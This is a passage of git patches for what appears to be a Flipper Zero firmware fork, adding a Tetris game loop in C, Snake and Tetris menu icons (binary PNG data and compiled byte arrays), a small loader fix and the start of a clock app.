tetris_game_update_timer_callback(osMessageQueueId_t event_queue) { + furi_assert(event_queue); + + TetrisEvent event = {.type = EventTypeTick}; + osMessageQueuePut(event_queue, &event, 0, osWaitForever); +} + +static void tetris_game_process_step(TetrisState* tetris_state, Piece* newPiece, bool wasDownMove) { + if(tetris_state->gameState == GameStateGameOver) + return; + + tetris_game_remove_curr_piece(tetris_state); + + if(wasDownMove) { + if(tetris_game_piece_at_bottom(tetris_state, newPiece)) { + osTimerStop(tetris_state->timer); + + tetris_game_render_curr_piece(tetris_state); + uint8_t numLines = 0; + uint8_t lines[] = { 0,0,0,0 }; + + tetris_game_check_for_lines(tetris_state, lines, &numLines); + if(numLines > 0) { + for(int i = 0; i < numLines; i++) { + + // zero out row + for(int j = 0; j < FIELD_WIDTH; j++) { + tetris_state->playField[lines[i]][j] = false; + } + // move all above rows down + for(int k = lines[i]; k >= 0 ; k--) { + for(int m = 0; m < FIELD_WIDTH; m++) { + tetris_state->playField[k][m] = (k == 0) ? false : tetris_state->playField[k-1][m]; + } + } + } + + uint16_t oldNumLines = tetris_state->numLines; + tetris_state->numLines += numLines; + if((oldNumLines / 10) % 10 != (tetris_state->numLines / 10) % 10) { + tetris_state->fallSpeed -= 50; + } + } + + // Check for game over + Piece* spawnedPiece = &shapes[rand() % 7]; + if(!tetris_game_is_valid_pos(tetris_state, spawnedPiece->p)) { + tetris_state->gameState = GameStateGameOver; + } else { + memcpy(&tetris_state->currPiece, spawnedPiece, sizeof(tetris_state->currPiece)); + osTimerStart(tetris_state->timer, tetris_state->fallSpeed); + } + } + } + + if(tetris_game_is_valid_pos(tetris_state, newPiece->p)) { + memcpy(&tetris_state->currPiece, newPiece, sizeof(tetris_state->currPiece)); + } + + tetris_game_render_curr_piece(tetris_state); +} + + +int32_t tetris_game_app() { + srand(DWT->CYCCNT); + + osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(TetrisEvent), NULL); + + TetrisState* tetris_state = malloc(sizeof(TetrisState)); + + ValueMutex state_mutex; + if(!init_mutex(&state_mutex, tetris_state, sizeof(TetrisState))) { + FURI_LOG_E("TetrisGame", "cannot create mutex\r\n"); + free(tetris_state); + return 255; + } + + // Not doing this eventually causes issues with TimerSvc due to not sleeping/yielding enough in this task + TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME); + TaskHandle_t curr_task = xTaskGetHandle("Tetris Game"); + + uint32_t origTimerPrio = uxTaskPriorityGet(timer_task); + uint32_t myPrio = uxTaskPriorityGet(curr_task); + vTaskPrioritySet(timer_task, myPrio + 1); + + ViewPort* view_port = view_port_alloc(); + view_port_set_orientation(view_port, ViewPortOrientationVertical); + view_port_draw_callback_set(view_port, tetris_game_render_callback, &state_mutex); + view_port_input_callback_set(view_port, tetris_game_input_callback, event_queue); + + // Open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + tetris_state->timer = osTimerNew(tetris_game_update_timer_callback, osTimerPeriodic, event_queue, NULL); + tetris_game_init_state(tetris_state); + + TetrisEvent event; + + Piece *newPiece = malloc(sizeof(Piece)); + uint8_t downRepeatCounter = 0; + + for(bool processing = true; processing;) { + // This 10U implicitly sets the game loop speed. downRepeatCounter relies on this value + osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 10U); + + TetrisState* tetris_state = (TetrisState*)acquire_mutex_block(&state_mutex); + + memcpy(newPiece, &tetris_state->currPiece, sizeof(tetris_state->currPiece)); + bool wasDownMove = false; + + if(!furi_hal_gpio_read(&gpio_button_right)) { + if(downRepeatCounter > 3) { + for (int i = 0; i < 4; i++) { + newPiece->p[i].y += 1; + } + downRepeatCounter = 0; + wasDownMove = true; + } else { + downRepeatCounter++; + } + } + + if(event_status == osOK) { + if(event.type == EventTypeKey) { + if(event.input.type == InputTypePress || event.input.type == InputTypeLong || event.input.type == InputTypeRepeat) { + switch(event.input.key) { + case InputKeyUp: + break; + case InputKeyDown: + break; + case InputKeyRight: + for (int i = 0; i < 4; i++) { + newPiece->p[i].x += 1; + } + break; + case InputKeyLeft: + for (int i = 0; i < 4; i++) { + newPiece->p[i].x -= 1; + } + break; + case InputKeyOk: + if(tetris_state->gameState == GameStatePlaying) { + tetris_game_remove_curr_piece(tetris_state); + tetris_game_try_rotation(tetris_state, newPiece); + tetris_game_render_curr_piece(tetris_state); + } else { + tetris_game_init_state(tetris_state); + } + break; + case InputKeyBack: + processing = false; + break; + } + } + } else if(event.type == EventTypeTick) { + // TODO: This is inverted. it returns true when the button is not pressed. + // see macro in input.c and do that + if(furi_hal_gpio_read(&gpio_button_right)) { + for (int i = 0; i < 4; i++) { + newPiece->p[i].y += 1; + } + wasDownMove = true; + } + } + } + + tetris_game_process_step(tetris_state, newPiece, wasDownMove); + + view_port_update(view_port); + release_mutex(&state_mutex, tetris_state); + } + + osTimerDelete(tetris_state->timer); + view_port_enabled_set(view_port, false); + gui_remove_view_port(gui, view_port); + furi_record_close("gui"); + view_port_free(view_port); + osMessageQueueDelete(event_queue); + delete_mutex(&state_mutex); + vTaskPrioritySet(timer_task, origTimerPrio); + free(newPiece); + free(tetris_state); + + return 0; +} diff --git a/assets/icons/MainMenu/Snake_14/frame_01.png b/assets/icons/MainMenu/Snake_14/frame_01.png new file mode 100644 index 0000000000000000000000000000000000000000..a01c871ff558a4b90d401a77bb2d55b44a86a6bb GIT binary patch literal 146 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}KAtX)AsQ36 zPCCfNpupk0{l)+K%DYM)r`ME)Je#eg%E>9{aKpmLtBsApbkdY3Ia|6WCjMNZK1JQ- sy2mA(Q>GiMdhedQyQ3@h<@@ImSu-NU<-I(TK(;b?y85}Sb4q9e0MURk)&Kwi literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Snake_14/frame_02.png b/assets/icons/MainMenu/Snake_14/frame_02.png new file mode 100644 index 0000000000000000000000000000000000000000..adc92431c16960996ec426f92bf6348767c652de GIT binary patch literal 148 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}ex5FlAsQ36 zPP)y-pupk0{lowIoA;c&48`WUr=F9(dsoqc;rgK$h9c$+8)o}?&O4+dv6Acc+OnzI vDaV66jABo1UL4w)_e}N8xlNzH7aOUS)QHP>FFz**>tgu-H~m*LbS%+yzGZuiigTxz%`2TwX}OmdK II;Vst090=~Hvj+t literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Snake_14/frame_06.png b/assets/icons/MainMenu/Snake_14/frame_06.png new file mode 100644 index 0000000000000000000000000000000000000000..50f2b6c22aa55453afb0f75e0d84492d0a446947 GIT binary patch literal 148 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}ex5FlAsQ36 zPCCfNpupk0{lowIn|VejPW0UKP0Ty=;$0sbOMuv_<1cnFHiS-^6w`V$=%#F*JMY4{ vbw}#UL;ULPEobqWt8yi(&il08Qc`$PqLlc-i}~+?CNp@t`njxgN@xNAm)tT^ literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Snake_14/frame_07.png b/assets/icons/MainMenu/Snake_14/frame_07.png new file mode 100644 index 0000000000000000000000000000000000000000..7325060b9d127f23d9f3f56bdf4f77681c5baf7f GIT binary patch literal 160 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}QJyZ2AsQ36 zPP)x?z<|S9`2YX;=jWMOmHKd<^%gk0G=MpSIWc;Y$y0ZZ6Wi4G9J;(JQs(k3)j*-i zRjMCf|Cm=Vy!o@mMqyb`6Nl$Nit@i*yn1TSyVKJBf9LdY&#~;5d+l7i7HA8Dr>mdK II;Vst090=~Hvj+t literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Snake_14/frame_08.png b/assets/icons/MainMenu/Snake_14/frame_08.png new file mode 100644 index 0000000000000000000000000000000000000000..73767a1ef5b98ac1498c3416d3cafd47393fbc36 GIT binary patch literal 96 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}Ql2i3AsQ2t s|NQ^|zn;yALD+JZn`vK`jF%MSL=F}SmaTg}16472y85}Sb4q9e0M82;E&u=k literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Snake_14/frame_09.png b/assets/icons/MainMenu/Snake_14/frame_09.png new file mode 100644 index 0000000000000000000000000000000000000000..f55a6a9a1a0187b35598b432c9a61d42f13b079b GIT binary patch literal 114 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}I-V|$AsQ2t z|NQ^|zn;yALD+JZo9U%kWguV%;;*?W2UQ(49C;TVP-J2F`i5PW?J;KwP#=S*tDnm{ Hr-UW|&(Izw literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Snake_14/frame_10.png b/assets/icons/MainMenu/Snake_14/frame_10.png new file mode 100644 index 0000000000000000000000000000000000000000..a5d9251c3e3b3be8a31b281888b2a0e223db6559 GIT binary patch literal 129 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R})}AhoAsQ3! zPCUrTV8Fw4e$wCYZNf_!UoO6qe}P-;w%UY-#T!q@a`G-X3zzStDmBdwcU~Pi6Fg;=Pfb3{ lp`dl0w~PFYYeUX?GG7Z3l(Y*!>kKrI!PC{xWt~$(697wXEdl@l literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Snake_14/frame_12.png b/assets/icons/MainMenu/Snake_14/frame_12.png new file mode 100644 index 0000000000000000000000000000000000000000..d36cc05f32c606429eb2c76dc88e1686361340f9 GIT binary patch literal 138 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}E}kxqAsQ3! zPITmAP~c!mKm5P`rk~@4g%w@TG}b7uzH>KIVS&sY*~Q7s8%`~q)E9aChjTzs#HmAC lw--NKfAEbj|J2EbjM`Fyl1EO3IRVXM@O1TaS?83{1ORt!E@uD$ literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Snake_14/frame_13.png b/assets/icons/MainMenu/Snake_14/frame_13.png new file mode 100644 index 0000000000000000000000000000000000000000..c584dda797eed7d66b76cdbe44a665e309fef11f GIT binary patch literal 138 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}E}kxqAsQ3! zPCUrPpupk${m}pask_-UJ0080LXJsGzk8R(;hFmQl!WXol}J_14R>!Hk?(PcIAwZq k)A7t@-=8iC40qkAUVl+g@@&=5QlNPZp00i_>zopr0EcHUi~s-t literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Snake_14/frame_14.png b/assets/icons/MainMenu/Snake_14/frame_14.png new file mode 100644 index 0000000000000000000000000000000000000000..92070c0a0591ff2382d560d6769d921143c6699b GIT binary patch literal 140 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}Zk{fVAsQ3! zPV(eqP~c!*-uAyFmuVILu-8g9Ms6Hnv%U} nt=RHeO@-q5S9Y(sIsg5>ZGv)qsrz|=CNg-s`njxgN@xNAk{d4s literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Snake_14/frame_15.png b/assets/icons/MainMenu/Snake_14/frame_15.png new file mode 100644 index 0000000000000000000000000000000000000000..a9f8fb25252233181824417b55ae516dc50c4ee0 GIT binary patch literal 141 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}?w&4=AsQ2p zPCCfNpupk0{l)+K%DYM@F0f5>PqjO~MCG6clLmLVTX6=%1?}mR?o^q5Y@U$v;-Fd@ n_g@RYW}Ri4d%phsR=h~+`vXChm5a4NmN9s``njxgN@xNA+fFZO literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Snake_14/frame_rate b/assets/icons/MainMenu/Snake_14/frame_rate new file mode 100644 index 000000000..e440e5c84 --- /dev/null +++ b/assets/icons/MainMenu/Snake_14/frame_rate @@ -0,0 +1 @@ +3 \ No newline at end of file diff --git a/assets/icons/MainMenu/Tetris_14/frame_01.png b/assets/icons/MainMenu/Tetris_14/frame_01.png new file mode 100644 index 0000000000000000000000000000000000000000..1b17a17fd19e64079a74ead00eef5db4768aab13 GIT binary patch literal 161 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}(Vi}jAsQ36 z_B(Ph7;-TCzWl%cP28(Rlf3kJzbu&K$5dW!Y|J2LwK`CnzpGKInQMW{gibEWHObBS=r%MoArkwTqW@3b#o;qpfwDhu6{1- HoD!MDBr+#u=&ro%2=Bt;BXN!H6 zsGYs!io0%nFSDq*-zw`Wb=6f9@2&i&Q&{oYZSCowS1Opfwgx^e3BLOeXbFR-tDnm{ Hr-UW|c)L3) literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Tetris_14/frame_03.png b/assets/icons/MainMenu/Tetris_14/frame_03.png new file mode 100644 index 0000000000000000000000000000000000000000..66502cdb2e5c9fc33b6323f44bca9a738639f720 GIT binary patch literal 153 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}!JaOTAsQ2} zUNYo5V8G)Xxbn-t@PDzgiI4SUSGlsxu`w`gP`N2)Q1)yU`|aFv!;dlQX$`?XJNd5J z9kH_UTs*_uBU5yH&!cPh!tbx#TlSY>eq0R$Q)S*Q&xoaqfyOg=FyJ{-vhe@^O`A+6q;+b(712G`&TrYEX}!8^5qI}&a?icn o+K*-aS%9g_|dw(z=xGPflDb$lzj^wCzag S?gu~<7(8A5T-G@yGywpr$|kA+ literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Tetris_14/frame_06.png b/assets/icons/MainMenu/Tetris_14/frame_06.png new file mode 100644 index 0000000000000000000000000000000000000000..2960660ba00e5f48094dcbcfec8ca8ad4e461a09 GIT binary patch literal 144 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}UY;(FAsQ3U z_8;V8P~dTz|NDRaw&072qM|OlPssR9%`G-4RAS=re3^K({q43d7LOTAt{VQfab{qQ rUS|4k!($HnH#d%-`muY3e=Dnouz};F(0j9hrZRZC`njxgN@xNAeXKD; literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Tetris_14/frame_07.png b/assets/icons/MainMenu/Tetris_14/frame_07.png new file mode 100644 index 0000000000000000000000000000000000000000..3704b0bf4e001c2e37bc35de85b9a3003cb1b98a GIT binary patch literal 124 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}W}YsNAsQ2t z|NQ^|zn;yALD+JZ1PDkS%9g_|dw(z=xGPflDb$lzj^wCzag S?gu~<7(8A5T-G@yGywpr$|kA+ literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Tetris_14/frame_08.png b/assets/icons/MainMenu/Tetris_14/frame_08.png new file mode 100644 index 0000000000000000000000000000000000000000..2960660ba00e5f48094dcbcfec8ca8ad4e461a09 GIT binary patch literal 144 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}UY;(FAsQ3U z_8;V8P~dTz|NDRaw&072qM|OlPssR9%`G-4RAS=re3^K({q43d7LOTAt{VQfab{qQ rUS|4k!($HnH#d%-`muY3e=Dnouz};F(0j9hrZRZC`njxgN@xNAeXKD; literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Tetris_14/frame_09.png b/assets/icons/MainMenu/Tetris_14/frame_09.png new file mode 100644 index 0000000000000000000000000000000000000000..d554b9fe9f08aa4b722f9f30403738ecc52d9f80 GIT binary patch literal 129 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R})}AhoAsQ2t z|NQ^|zn;yAfm@Nar>93E3CK-PP&!sJWAOx8_bF~O)}GjQ`Mz6IW3%>!&P|0O%6m|lSF~?Cma5mJ7_E zqHegj`Nh&lOqPqZv{OS;|Ek-a?z|UV=YG?I@# Date: Wed, 1 Jun 2022 20:57:15 +0300 Subject: [PATCH 255/461] compile tetris & snake icons --- assets/compiled/assets_icons.c | 31 +++++++++++++++++++++++++++++++ assets/compiled/assets_icons.h | 2 ++ 2 files changed, 33 insertions(+) diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index c4daf3a98..0ac5b8257 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -423,6 +423,23 @@ const uint8_t _A_Settings_14_8[] = {0x00,0x00,0x09,0x06,0x05,0x0E,0x25,0x1C,0x19 const uint8_t _A_Settings_14_9[] = {0x00,0x03,0x07,0x87,0x04,0x8E,0x02,0x9C,0x32,0xF8,0x2C,0x50,0x20,0x30,0x1E,0x1E,0x03,0x81,0x04,0xCD,0x09,0x53,0x13,0x50,0x26,0x48,0x2C,0x38,0x18,}; const uint8_t* const _A_Settings_14[] = {_A_Settings_14_0,_A_Settings_14_1,_A_Settings_14_2,_A_Settings_14_3,_A_Settings_14_4,_A_Settings_14_5,_A_Settings_14_6,_A_Settings_14_7,_A_Settings_14_8,_A_Settings_14_9}; +const uint8_t _A_Snake_14_0[] = {0x01,0x00,0x15,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x1a,0x3e,0x01,0x28,0x18,0x04,0xb8,0x60,0x12,0x02,0x88,0x4d,0x20,0x00,}; +const uint8_t _A_Snake_14_1[] = {0x01,0x00,0x15,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x1b,0xfe,0x01,0x28,0x18,0x04,0xb8,0x60,0x12,0x02,0x88,0x4d,0x20,0x00,}; +const uint8_t _A_Snake_14_2[] = {0x01,0x00,0x16,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x1b,0xfe,0x01,0x2e,0x18,0x04,0xbc,0x60,0x12,0x81,0x82,0xc4,0x26,0x70,0x00,}; +const uint8_t _A_Snake_14_3[] = {0x01,0x00,0x16,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x1b,0xfe,0x01,0x2e,0xd8,0x04,0xbf,0x60,0x12,0x81,0x82,0xc4,0x26,0x70,0x00,}; +const uint8_t _A_Snake_14_4[] = {0x01,0x00,0x19,0x00,0x00,0x0d,0x56,0x0b,0xaa,0x81,0x40,0x20,0x80,0x31,0xaa,0xc1,0x31,0x50,0x2a,0x88,0x1c,0x80,0x63,0x02,0x05,0x88,0x4c,0xe0,0x00,}; +const uint8_t _A_Snake_14_5[] = {0x01,0x00,0x16,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x1b,0xfe,0x01,0x2e,0xd8,0x04,0xbf,0x60,0x12,0x81,0x82,0xc4,0x26,0x70,0x00,}; +const uint8_t _A_Snake_14_6[] = {0x01,0x00,0x19,0x00,0x00,0x0d,0x56,0x0b,0xaa,0x81,0x40,0x20,0x80,0x31,0xaa,0xc1,0x31,0x50,0x2a,0x88,0x1c,0x80,0x63,0x02,0x05,0x88,0x4c,0xe0,0x00,}; +const uint8_t _A_Snake_14_7[] = {0x01,0x00,0x04,0x00,0x00,0x78,0x02,0xc0,}; +const uint8_t _A_Snake_14_8[] = {0x01,0x00,0x06,0x00,0x00,0x7f,0x00,0x02,0x40,0x07,}; +const uint8_t _A_Snake_14_9[] = {0x01,0x00,0x0b,0x00,0x00,0x0f,0xfc,0x02,0x40,0x09,0xe0,0x00,0x48,0x00,0xe0,}; +const uint8_t _A_Snake_14_10[] = {0x01,0x00,0x10,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x18,0x02,0x40,0x04,0xe0,0x00,0x48,0x00,0xe0,}; +const uint8_t _A_Snake_14_11[] = {0x01,0x00,0x0e,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x18,0x02,0xfc,0x00,0x08,0x86,0x60,}; +const uint8_t _A_Snake_14_12[] = {0x01,0x00,0x0f,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x18,0x02,0xfc,0x00,0x09,0x02,0xda,0x00,}; +const uint8_t _A_Snake_14_13[] = {0x01,0x00,0x14,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x18,0x02,0xfc,0x00,0x09,0x01,0x47,0xe1,0x07,0x00,0x88,0x64,0x40,}; +const uint8_t _A_Snake_14_14[] = {0x01,0x00,0x13,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x18,0x02,0xb0,0x38,0x37,0x0c,0x02,0x40,0x51,0x09,0xa4,0x00,}; +const uint8_t* const _A_Snake_14[] = {_A_Snake_14_0,_A_Snake_14_1,_A_Snake_14_2,_A_Snake_14_3,_A_Snake_14_4,_A_Snake_14_5,_A_Snake_14_6,_A_Snake_14_7,_A_Snake_14_8,_A_Snake_14_9,_A_Snake_14_10,_A_Snake_14_11,_A_Snake_14_12,_A_Snake_14_13,_A_Snake_14_14}; + const uint8_t _A_Sub1ghz_14_0[] = {0x01,0x00,0x1a,0x00,0x82,0x42,0x20,0x51,0x08,0x4c,0x92,0x0b,0x28,0xea,0xca,0x80,0x22,0x05,0x1e,0x4c,0x93,0x85,0x10,0xe2,0x42,0x38,0x10,0x00,0x0a,0x80,}; const uint8_t _A_Sub1ghz_14_1[] = {0x01,0x00,0x18,0x00,0x82,0x42,0x20,0x51,0x08,0x4c,0x92,0x0b,0x28,0xe2,0x80,0x48,0x0a,0x3c,0x99,0x27,0x0a,0x21,0xc4,0x84,0x70,0x20,0x00,0x15,}; const uint8_t _A_Sub1ghz_14_2[] = {0x01,0x00,0x16,0x00,0x82,0x42,0x20,0x51,0x08,0x0c,0x80,0x02,0x3c,0x10,0x09,0x01,0x4f,0x85,0x10,0xe2,0x42,0x38,0x10,0x00,0x0a,0x80,}; @@ -439,6 +456,18 @@ const uint8_t _A_Tamagotchi_14_4[] = {0x00,0xF0,0x03,0x08,0x06,0x04,0x0C,0x04,0x const uint8_t _A_Tamagotchi_14_5[] = {0x00,0xF0,0x03,0x08,0x06,0x04,0x0C,0x04,0x0C,0xF2,0x19,0x5A,0x1A,0xA9,0x32,0x49,0x33,0xF1,0x31,0x01,0x30,0x52,0x39,0x02,0x18,0x0C,0x0E,0xF0,0x07,}; const uint8_t* const _A_Tamagotchi_14[] = {_A_Tamagotchi_14_0,_A_Tamagotchi_14_1,_A_Tamagotchi_14_2,_A_Tamagotchi_14_3,_A_Tamagotchi_14_4,_A_Tamagotchi_14_5}; +const uint8_t _A_Tetris_14_0[] = {0x01,0x00,0x19,0x00,0x8e,0x40,0x22,0x90,0x0b,0xe4,0x02,0xa9,0x00,0xfe,0x40,0x6a,0x90,0x1e,0xe4,0x7e,0x81,0x15,0xf8,0x47,0xea,0x00,0x32,0x0d,0xa8,}; +const uint8_t _A_Tetris_14_1[] = {0x01,0x00,0x14,0x00,0x80,0x47,0xe0,0x11,0x50,0x19,0x40,0x3b,0x90,0x1a,0xa4,0x07,0xf9,0x1f,0xaa,0x45,0x40,0x6a,0x1a,0x50,}; +const uint8_t _A_Tetris_14_2[] = {0x01,0x00,0x12,0x00,0xaa,0x40,0x7f,0x90,0x1a,0x84,0x7e,0xe1,0x15,0xee,0x47,0xea,0x91,0x5f,0xe0,0x0e,0x03,0x6a,}; +const uint8_t _A_Tetris_14_3[] = {0x01,0x00,0x12,0x00,0x82,0xc0,0x20,0xf0,0x0f,0xec,0x7e,0xaf,0x15,0x01,0xbf,0xf2,0x3f,0x54,0x01,0x90,0x6d,0x40,}; +const uint8_t _A_Tetris_14_4[] = {0x01,0x00,0x0a,0x00,0x00,0x1f,0xfe,0x3f,0x55,0x8a,0x80,0xf4,0x2e,0xa0,}; +const uint8_t _A_Tetris_14_5[] = {0x01,0x00,0x10,0x00,0x00,0x1d,0x06,0x21,0xaa,0x85,0x01,0x44,0x06,0x30,0x10,0x3b,0x03,0xc4,0x2e,0xa0,}; +const uint8_t _A_Tetris_14_6[] = {0x01,0x00,0x0a,0x00,0x00,0x1f,0xfe,0x3f,0x55,0x8a,0x80,0xf4,0x2e,0xa0,}; +const uint8_t _A_Tetris_14_7[] = {0x01,0x00,0x10,0x00,0x00,0x1d,0x06,0x21,0xaa,0x85,0x01,0x44,0x06,0x30,0x10,0x3b,0x03,0xc4,0x2e,0xa0,}; +const uint8_t _A_Tetris_14_8[] = {0x01,0x00,0x09,0x00,0x00,0x14,0x7e,0x01,0x15,0x01,0xb0,0x03,0x80,}; +const uint8_t _A_Tetris_14_9[] = {0x01,0x00,0x10,0x00,0xa0,0x40,0x7e,0x10,0x1a,0x80,0x0c,0x81,0x89,0x1f,0x80,0x45,0x40,0x6c,0x00,0x40,}; +const uint8_t* const _A_Tetris_14[] = {_A_Tetris_14_0,_A_Tetris_14_1,_A_Tetris_14_2,_A_Tetris_14_3,_A_Tetris_14_4,_A_Tetris_14_5,_A_Tetris_14_6,_A_Tetris_14_7,_A_Tetris_14_8,_A_Tetris_14_9}; + const uint8_t _A_U2F_14_0[] = {0x00,0x00,0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t _A_U2F_14_1[] = {0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t _A_U2F_14_2[] = {0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0x08,0x00,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; @@ -762,8 +791,10 @@ const Icon A_Passport_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,. const Icon A_Plugins_14 = {.width=14,.height=14,.frame_count=9,.frame_rate=3,.frames=_A_Plugins_14}; const Icon A_Power_14 = {.width=14,.height=14,.frame_count=1,.frame_rate=3,.frames=_A_Power_14}; const Icon A_Settings_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Settings_14}; +const Icon A_Snake_14 = {.width=14,.height=14,.frame_count=15,.frame_rate=3,.frames=_A_Snake_14}; const Icon A_Sub1ghz_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Sub1ghz_14}; const Icon A_Tamagotchi_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Tamagotchi_14}; +const Icon A_Tetris_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Tetris_14}; const Icon A_U2F_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_U2F_14}; const Icon A_iButton_14 = {.width=14,.height=14,.frame_count=7,.frame_rate=3,.frames=_A_iButton_14}; const Icon I_Detailed_chip_17x13 = {.width=17,.height=13,.frame_count=1,.frame_rate=0,.frames=_I_Detailed_chip_17x13}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index 3d8a6fc9b..26dbf94dd 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -105,8 +105,10 @@ extern const Icon A_Passport_14; extern const Icon A_Plugins_14; extern const Icon A_Power_14; extern const Icon A_Settings_14; +extern const Icon A_Snake_14; extern const Icon A_Sub1ghz_14; extern const Icon A_Tamagotchi_14; +extern const Icon A_Tetris_14; extern const Icon A_U2F_14; extern const Icon A_iButton_14; extern const Icon I_Detailed_chip_17x13; From b5b2540c8867af6a90b1212fed7084a6b746286d Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Wed, 1 Jun 2022 21:05:04 +0300 Subject: [PATCH 256/461] fix loader --- applications/loader/loader.c | 1 - 1 file changed, 1 deletion(-) diff --git a/applications/loader/loader.c b/applications/loader/loader.c index ceca0b352..53535eb75 100644 --- a/applications/loader/loader.c +++ b/applications/loader/loader.c @@ -449,7 +449,6 @@ static void loader_build_submenu() { } FURI_LOG_I(TAG, "Building games menu"); - size_t i; for(i = 0; i < FLIPPER_GAMES_COUNT; i++) { submenu_add_item( loader_instance->games_menu, From fa7c5f2402cbac6543b0aac204323369168289eb Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Wed, 1 Jun 2022 21:27:32 +0300 Subject: [PATCH 257/461] add clock app & clock icon --- applications/applications.c | 9 + applications/applications.mk | 7 + applications/clock_app/clock_app.c | 282 ++++++++++++++++++++ assets/compiled/assets_icons.c | 11 + assets/compiled/assets_icons.h | 1 + assets/icons/MainMenu/Clock_14/frame_01.png | Bin 0 -> 173 bytes assets/icons/MainMenu/Clock_14/frame_02.png | Bin 0 -> 176 bytes assets/icons/MainMenu/Clock_14/frame_03.png | Bin 0 -> 175 bytes assets/icons/MainMenu/Clock_14/frame_04.png | Bin 0 -> 175 bytes assets/icons/MainMenu/Clock_14/frame_05.png | Bin 0 -> 172 bytes assets/icons/MainMenu/Clock_14/frame_06.png | Bin 0 -> 175 bytes assets/icons/MainMenu/Clock_14/frame_07.png | Bin 0 -> 175 bytes assets/icons/MainMenu/Clock_14/frame_08.png | Bin 0 -> 178 bytes assets/icons/MainMenu/Clock_14/frame_rate | 1 + 14 files changed, 311 insertions(+) create mode 100644 